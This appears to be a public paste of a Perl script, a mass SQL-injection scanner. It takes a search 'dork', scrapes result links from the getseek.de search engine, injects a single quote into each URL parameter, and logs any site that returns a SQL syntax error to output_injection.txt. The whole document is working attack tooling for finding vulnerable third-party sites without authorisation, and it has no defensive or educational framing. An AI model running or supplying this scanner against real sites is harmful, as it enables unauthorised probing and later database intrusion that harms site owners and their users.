Public paste
Undefined
By: Guest | Date: Apr 24 2009 10:22 | Format: None | Expires: never | Size: 1.42 KB | Hits: 869

  1. use strict;
  2. no warnings;
  3. use LWP::Simple;
  4. require LWP::UserAgent;
  5.  
  6. my $ua = LWP::UserAgent->new;
  7. $ua->agent('Mozilla/5.0');
  8.  
  9. my ($dork, $page, $content, $url, $response, $act_link, $substr, $position, $link_copy, $site2);
  10. my %seen;
  11.  
  12. print "insert dork: ";
  13. $dork = <STDIN>;
  14. _alltheweb_search_();
  15.  
  16. sub _alltheweb_search_ {
  17.         chomp($dork);
  18.         $page = 0;
  19.         $content = "leer";
  20.         while( $content !~ /Ihre Suche nach $dork lieferte keine Ergebnisse./ ) {
  21.                 $url = "http://www.getseek.de/index.php?REQ=".$dork."&pg=".$page;
  22.                 $response = $ua->get($url);
  23.                 $content = $response->content;
  24.                 while( $content =~ m/<a href="(.+?)" target=/g ) {
  25.                         $act_link = $1;
  26.                         #next if( $act_link =~ /google/ );
  27.                         #next if( $act_link =~ /yahoo/ );
  28.                         next if $seen{$act_link}++;
  29.                         print $act_link."n";
  30.                         $substr = '=';
  31.                         for($position = 0; ($position = index($act_link, $substr, $position)) >= 0; $position++) {
  32.                             $link_copy = $act_link;
  33.                             substr($link_copy, $position, 1) = "='";  
  34.                                 $site2 = get($link_copy);
  35.                                 print "Checking: ".$link_copy."n";
  36.                                 unless( $content eq $site2 ) {
  37.                                         if( $site2 =~ m/error in your SQL syntax/i ) {
  38.                                                 print "INJECTION: ".$link_copy."n";
  39.                                                 _output_($link_copy);
  40.                                         }
  41.                                 }
  42.                         }
  43.                 $page++;
  44.                 }
  45.         }
  46. }
  47.  
  48. sub _output_ {
  49.         my $param = shift;
  50.         my $output = open(FILE_OUT,">> output_injection.txt") or die "$!n";
  51.         print FILE_OUT $param."n";
  52.         close(FILE_OUT);
  53. }